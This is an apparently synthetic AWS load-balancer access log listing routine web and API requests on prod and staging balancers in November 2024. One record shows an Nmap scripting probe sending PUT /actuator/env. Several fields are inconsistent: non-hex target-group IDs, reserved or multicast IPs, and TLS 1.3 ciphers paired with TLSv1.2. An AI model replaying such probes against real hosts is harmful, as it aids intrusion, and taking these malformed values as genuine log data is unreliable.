ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e04f-0efeaef61b4a42958cc065e5" "staging-alb.example.com" "-" 4 2024-11-01T02:53:51.861110Z "forward" "-" "-" "64.108.32.152:80" "200" "-" "-" -https 2024-11-01T02:53:52.493848Z prod-web-alb 22.62.149.245:41932 10.0.241.94:443 0.033925 0.423385 0.010336 200 200 30 8835 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e050-e1b88e79b79e4286bd2b7dfb" "prod-web-alb.example.com" "-" 5 2024-11-01T02:53:52.493848Z "forward" "-" "-" "10.0.241.94:443" "200" "-" "-" -https 2024-11-01T02:53:54.250352Z prod-web-alb 138.78.152.11:47623 10.0.37.42:443 0.064667 0.272656 0.086034 200 200 252 6165 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e052-c06c3e21ad4a474ba4e72e32" "prod-web-alb.example.com" "-" 7 2024-11-01T02:53:54.250352Z "forward" "-" "-" "10.0.37.42:443" "200" "-" "-" -https 2024-11-01T02:53:55.290095Z staging-alb 109.111.67.231:63212 99.188.226.189:80 0.112331 0.270342 0.112160 302 302 971 7104 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e053-a5399363a2ae4d478069f5aa" "staging-alb.example.com" "-" 9 2024-11-01T02:53:55.290095Z "forward" "-" "-" "99.188.226.189:80" "302" "-" "-" -http 2024-11-01T02:53:57.044437Z staging-alb 96.170.142.91:58700 234.48.157.189:443 0.121509 0.695624 0.078846 301 301 248 5309 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e055-d14c7a5415d344478ac4e73d" "staging-alb.example.com" "-" 7 2024-11-01T02:53:57.044437Z "forward" "-" "-" "234.48.157.189:443" "301" "-" "-" -https 2024-11-01T02:53:57.277764Z prod-web-alb 202.17.71.10:39544 10.0.87.178:443 0.047829 0.251983 0.080779 200 200 403 11409 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e055-a1ff85c61fa14034b79c4606" "prod-web-alb.example.com" "-" 0 2024-11-01T02:53:57.277764Z "forward" "-" "-" "10.0.87.178:443" "200" "-" "-" -http 2024-11-01T02:53:58.348242Z staging-alb 240.47.117.60:56752 50.106.130.135:8080 0.076520 0.741002 0.082508 200 200 948 14181 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e056-175f9d0480b4460eaf5d7785" "staging-alb.example.com" "-" 0 2024-11-01T02:53:58.348242Z "forward" "-" "-" "50.106.130.135:8080" "200" "-" "-" -https 2024-11-01T02:53:58.682398Z prod-api-alb 15.231.56.155:56755 10.0.158.58:443 0.038422 0.372452 0.031304 404 404 208 4133 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e056-09cb6a3485804485bde69125" "prod-api-alb.example.com" "-" 6 2024-11-01T02:53:58.682398Z "forward" "-" "-" "10.0.158.58:443" "404" "-" "-" -https 2024-11-01T02:54:00.548931Z prod-web-alb 249.128.35.26:64714 10.0.189.42:443 0.074025 0.347107 0.031808 301 301 654 7718 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e058-b7e259a8b9584af1a54a4b9f" "-" "-" 5 2024-11-01T02:54:00.548931Z "forward" "-" "-" "10.0.189.42:443" "301" "-" "-" -http 2024-11-01T02:54:00.907864Z staging-alb 102.233.1.132:31113 49.20.9.44:80 0.133538 0.067517 0.145113 200 200 354 4468 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e058-7e4a145470a54e18840d35a1" "staging-alb.example.com" "-" 5 2024-11-01T02:54:00.907864Z "forward" "-" "-" "49.20.9.44:80" "200" "-" "-" -https 2024-11-01T02:54:01.696060Z prod-api-alb 109.26.90.91:31014 10.0.105.56:443 0.027742 0.386394 0.029017 200 200 725 14790 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e059-747fd24f06634c228260ba93" "prod-api-alb.example.com" "-" 1 2024-11-01T02:54:01.696060Z "forward" "-" "-" "10.0.105.56:443" "200" "-" "-" -http 2024-11-01T02:54:03.449578Z staging-alb 109.20.195.0:33257 36.70.109.252:443 0.069417 0.419882 0.041686 200 200 391 839 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e05b-b7301f542fed44ccbcb31ed0" "staging-alb.example.com" "-" 3 2024-11-01T02:54:03.449578Z "forward" "-" "-" "36.70.109.252:443" "200" "-" "-" -http 2024-11-01T02:54:04.816297Z staging-alb 135.42.85.194:35738 223.189.8.105:80 0.066290 0.702496 0.021652 404 404 213 910 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e05c-04b3c5504fb14bf8bd6f57ce" "staging-alb.example.com" "-" 8 2024-11-01T02:54:04.816297Z "forward" "-" "-" "223.189.8.105:80" "404" "-" "-" -https 2024-11-01T02:54:06.117968Z staging-alb 50.27.100.193:35979 245.89.143.25:8080 0.117076 0.677359 0.056075 404 404 526 12847 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e05e-38cbb6276dd44c85bbfb4d23" "staging-alb.example.com" "-" 3 2024-11-01T02:54:06.117968Z "forward" "-" "-" "245.89.143.25:8080" "404" "-" "-" -https 2024-11-01T02:54:06.854837Z prod-api-alb 231.207.11.93:20629 10.0.74.219:443 0.015341 0.306092 0.038688 301 301 305 11010 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e05e-15d5a6374e784a86b4d6a317" "prod-api-alb.example.com" "-" 7 2024-11-01T02:54:06.854837Z "forward" "-" "-" "10.0.74.219:443" "301" "-" "-" -https 2024-11-01T02:54:08.792365Z prod-web-alb 165.183.163.123:26621 10.0.175.82:443 0.015850 0.005161 0.090929 200 200 482 5404 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e060-351a4387f9c146f29d08c3ad" "prod-web-alb.example.com" "-" 5 2024-11-01T02:54:08.792365Z "forward" "-" "-" "10.0.175.82:443" "200" "-" "-" -https 2024-11-01T02:54:09.743056Z prod-api-alb 254.75.21.0:58481 10.0.173.56:443 0.091163 0.104265 0.060649 200 200 917 973 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e061-895546023fea4055963c3d24" "prod-api-alb.example.com" "-" 9 2024-11-01T02:54:09.743056Z "forward" "-" "-" "10.0.173.56:443" "200" "-" "-" -https 2024-11-01T02:54:11.030368Z prod-api-alb 110.99.51.201:23807 10.0.23.141:443 0.060993 0.400506 0.042214 200 200 799 5258 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e063-62b503e246014ee08adae9df" "prod-api-alb.example.com" "-" 0 2024-11-01T02:54:11.030368Z "forward" "-" "-" "10.0.23.141:443" "200" "-" "-" -https 2024-11-01T02:54:11.733065Z prod-api-alb 134.154.125.45:40894 10.0.231.162:443 0.005775 0.296169 0.067162 301 301 382 5146 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e063-74447dfa86f34bcf8e15f6fc" "prod-api-alb.example.com" "-" 9 2024-11-01T02:54:11.733065Z "forward" "-" "-" "10.0.231.162:443" "301" "-" "-" -https 2024-11-01T02:54:11.908099Z prod-api-alb 93.219.203.186:30975 10.0.4.141:443 0.000549 0.024687 0.065107 200 200 482 10403 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e063-5f65aa285c094cbf9149ee7b" "prod-api-alb.example.com" "-" 4 2024-11-01T02:54:11.908099Z "forward" "-" "-" "10.0.4.141:443" "200" "-" "-" -https 2024-11-01T02:54:12.971900Z prod-api-alb 97.88.141.71:25961 10.0.76.127:443 0.028326 0.158308 0.054687 200 200 545 267 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e064-251b1d04dc1a4912abe68008" "prod-api-alb.example.com" "-" 6 2024-11-01T02:54:12.971900Z "forward" "-" "-" "10.0.76.127:443" "200" "-" "-" -https 2024-11-01T02:54:14.368048Z staging-alb 201.251.118.237:35965 146.157.179.160:80 0.143251 0.061634 0.137421 302 302 94 4981 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e066-c6cd9d769674460bb0117c7a" "staging-alb.example.com" "-" 7 2024-11-01T02:54:14.368048Z "forward" "-" "-" "146.157.179.160:80" "302" "-" "-" -https 2024-11-01T02:54:14.798617Z staging-alb 214.109.41.17:10309 81.233.100.158:443 0.076163 0.105927 0.063687 200 200 185 2643 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e066-cb7d9949a49544d1afbb20e7" "staging-alb.example.com" "-" 1 2024-11-01T02:54:14.798617Z "forward" "-" "-" "81.233.100.158:443" "200" "-" "-" -https 2024-11-01T02:54:16.302871Z prod-web-alb 141.154.57.36:59947 10.0.45.107:443 0.024593 0.434925 0.090818 200 200 684 3939 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e068-100928990d1b4a66a5acef5d" "prod-web-alb.example.com" "-" 1 2024-11-01T02:54:16.302871Z "forward" "-" "-" "10.0.45.107:443" "200" "-" "-" -http 2024-11-01T02:54:18.046108Z staging-alb 61.85.97.153:39366 233.6.222.68:80 0.088595 0.388461 0.126109 200 200 141 5008 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e06a-cf20dd6faf5141f5a3c7f146" "staging-alb.example.com" "-" 9 2024-11-01T02:54:18.046108Z "forward" "-" "-" "233.6.222.68:80" "200" "-" "-" -https 2024-11-01T02:54:18.666165Z prod-web-alb 193.27.228.250:48182 10.0.73.160:443 0.053278 0.208442 0.060098 404 404 644 7763 "PUT /actuator/env HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e06a-c680b5df6cf840169019d5d2" "-" "-" 0 2024-11-01T02:54:18.666165Z "forward" "-" "-" "10.0.73.160:443" "404" "-" "-" -http 2024-11-01T02:54:19.787228Z staging-alb 128.172.110.208:21821 228.165.128.189:8080 0.013739 0.388101 0.057860 200 200 191 5635 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e06b-3806aacf636f4051b2c36639" "staging-alb.example.com" "-" 1 2024-11-01T02:54:19.787228Z "forward" "-" "-" "228.165.128.189:8080" "200" "-" "-" -https 2024-11-01T02:54:21.709308Z prod-web-alb 109.178.5.244:27045 10.0.12.78:443 0.026542 0.296646 0.005243 301 301 79 3578 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e06d-1190b3e2ccfc48049a91fe28" "prod-web-alb.example.com" "-" 3 2024-11-01T02:54:21.709308Z "forward" "-" "-" "10.0.12.78:443" "301" "-" "-" -https 2024-11-01T02:54:23.071841Z prod-web-alb 189.13.179.47:26782 10.0.147.204:443 0.089994 0.434220 0.005286 200 200 17 3405 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e06f-07b55f5ca7ea41efacc05d0d" "prod-web-alb.example.com" "-" 3 2024-11-01T02:54:23.071841Z "forward" "-" "-" "10.0.147.204:443" "200" "-" "-" -http 2024-11-01T02:54:23.532320Z staging-alb 112.78.250.18:17105 151.26.120.117:8080 0.058597 0.715822 0.011799 200 200 733 1287 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e06f-10fc92f5b5ff4bbaae2792d6" "staging-alb.example.com" "-" 5 2024-11-01T02:54:23.532320Z "forward" "-" "-" "151.26.120.117:8080" "200" "-" "-" -https 2024-11-01T02:54:24.807459Z prod-web-alb 37.0.249.109:19399 10.0.3.148:443 0.069864 0.032055 0.034733 200 200 785 5511 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e070-ab2fc7ba46564889b87cf411" "prod-web-alb.example.com" "-" 5 2024-11-01T02:54:24.807459Z "forward" "-" "-" "10.0.3.148:443" "200" "-" "-" -https 2024-11-01T02:54:26.634825Z prod-api-alb 107.30.226.112:32644 10.0.15.76:443 0.035284 0.147642 0.001282 200 200 514 5072 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e072-c9ddb67d2d3045fca9d17624" "prod-api-alb.example.com" "-" 6 2024-11-01T02:54:26.634825Z "forward" "-" "-" "10.0.15.76:443" "200" "-" "-" -http 2024-11-01T02:54:27.925994Z staging-alb 109.197.51.128:56367 11.143.218.112:443 0.104720 0.719165 0.045876 200 200 956 11366 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e073-beb8d512413c411a9c1c0da8" "staging-alb.example.com" "-" 3 2024-11-01T02:54:27.925994Z "forward" "-" "-" "11.143.218.112:443" "200" "-" "-" -https 2024-11-01T02:54:28.638668Z prod-web-alb 126.6.209.191:40403 10.0.171.253:443 0.009789 0.142072 0.093399 301 301 815 11470 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e074-7033c70c784544178d630a4d" "prod-web-alb.example.com" "-" 3 2024-11-01T02:54:28.638668Z "forward" "-" "-" "10.0.171.253:443" "301" "-" "-" -https 2024-11-01T02:54:29.673720Z prod-api-alb 217.202.6.236:18003 10.0.127.245:443 0.001773 0.266233 0.015430 302 302 392 13518 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e075-06582432b725403b9ea66ea3" "prod-api-alb.example.com" "-" 4 2024-11-01T02:54:29.673720Z "forward" "-" "-" "10.0.127.245:443" "302" "-" "-" -https 2024-11-01T02:54:30.890543Z prod-api-alb 139.168.54.53:36424 10.0.32.34:443 0.094726 0.134291 0.045372 301 301 585 4028 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e076-e61905a55cb4424695f03061" "prod-api-alb.example.com" "-" 9 2024-11-01T02:54:30.890543Z "forward" "-" "-" "10.0.32.34:443" "301" "-" "-" -https 2024-11-01T02:54:32.449222Z prod-api-alb 194.242.3.86:11408 10.0.81.96:443 0.058591 0.052660 0.095382 200 200 655 8365 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e078-35e0100510ec43b59ca44da7" "prod-api-alb.example.com" "-" 9 2024-11-01T02:54:32.449222Z "forward" "-" "-" "10.0.81.96:443" "200" "-" "-" -https 2024-11-01T02:54:32.628203Z prod-api-alb 116.157.55.159:23088 10.0.134.10:443 0.058854 0.026323 0.097854 200 200 451 5581 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e078-9d733266f3f4497b85ab4bc7" "prod-api-alb.example.com" "-" 6 2024-11-01T02:54:32.628203Z "forward" "-" "-" "10.0.134.10:443" "200" "-" "-" -https 2024-11-01T02:54:33.062130Z prod-api-alb 89.90.118.206:25535 10.0.94.45:443 0.090499 0.032352 0.028405 404 404 617 530 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e079-f8cd7620a8214a9c8321dcd8" "prod-api-alb.example.com" "-" 2 2024-11-01T02:54:33.062130Z "forward" "-" "-" "10.0.94.45:443" "404" "-" "-" -https 2024-11-01T02:54:34.838485Z prod-api-alb 15.137.245.46:52182 10.0.95.46:443 0.058796 0.011658 0.056690 200 200 97 6339 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e07a-14d2a305768d40a38c187991" "prod-api-alb.example.com" "-" 1 2024-11-01T02:54:34.838485Z "forward" "-" "-" "10.0.95.46:443" "200" "-" "-" -https 2024-11-01T02:54:35.706415Z prod-api-alb 216.157.147.252:22250 10.0.154.60:443 0.009853 0.218145 0.006415 200 200 34 12869 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e07b-55251dbc3d89437e847c412d" "prod-api-alb.example.com" "-" 5 2024-11-01T02:54:35.706415Z "forward" "-" "-" "10.0.154.60:443" "200" "-" "-" -https 2024-11-01T02:54:37.589270Z staging-alb 191.205.97.1:21375 80.31.178.142:443 0.032656 0.603776 0.149821 301 301 433 9405 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e07d-3a4a43ecf13942999cf870bf" "staging-alb.example.com" "-" 6 2024-11-01T02:54:37.589270Z "forward" "-" "-" "80.31.178.142:443" "301" "-" "-" -http 2024-11-01T02:54:37.918579Z staging-alb 63.147.220.171:63946 142.76.80.79:80 0.003027 0.714076 0.020548 200 200 657 5316 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e07d-cce30294a6414f78aa3f78da" "staging-alb.example.com" "-" 1 2024-11-01T02:54:37.918579Z "forward" "-" "-" "142.76.80.79:80" "200" "-" "-" -http 2024-11-01T02:54:38.790476Z staging-alb 146.223.18.152:31713 96.54.33.70:443 0.057915 0.036773 0.141983 404 404 769 14763 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e07e-a337cb74c8f3455899d47984" "staging-alb.example.com" "-" 1 2024-11-01T02:54:38.790476Z "forward" "-" "-" "96.54.33.70:443" "404" "-" "-" -https 2024-11-01T02:54:39.084521Z prod-api-alb 153.155.232.114:46445 10.0.86.170:443 0.002249 0.316550 0.007657 200 200 300 3512 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e07f-aa5e3ae52d0a4292886a8c76" "prod-api-alb.example.com" "-" 9 2024-11-01T02:54:39.084521Z "forward" "-" "-" "10.0.86.170:443" "200" "-" "-" -http 2024-11-01T02:54:40.615041Z staging-alb 122.8.127.45:53358 21.192.53.58:8080 0.028830 0.495144 0.142491 301 301 581 1274 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e080-8d4229f9c5f74f259061e41d" "staging-alb.example.com" "-" 0 2024-11-01T02:54:40.615041Z "forward" "-" "-" "21.192.53.58:8080" "301" "-" "-" -https 2024-11-01T02:54:41.204841Z prod-web-alb 27.201.143.201:27455 10.0.78.151:443 0.086985 0.384051 0.001123 200 200 349 2344 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e081-e093aeee277b48749fbfa667" "prod-web-alb.example.com" "-" 10 2024-11-01T02:54:41.204841Z "forward" "-" "-" "10.0.78.151:443" "200" "-" "-" -https 2024-11-01T02:54:42.559932Z staging-alb 29.110.119.191:20349 51.1.69.178:443 0.028146 0.271061 0.139797 200 200 268 1466 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 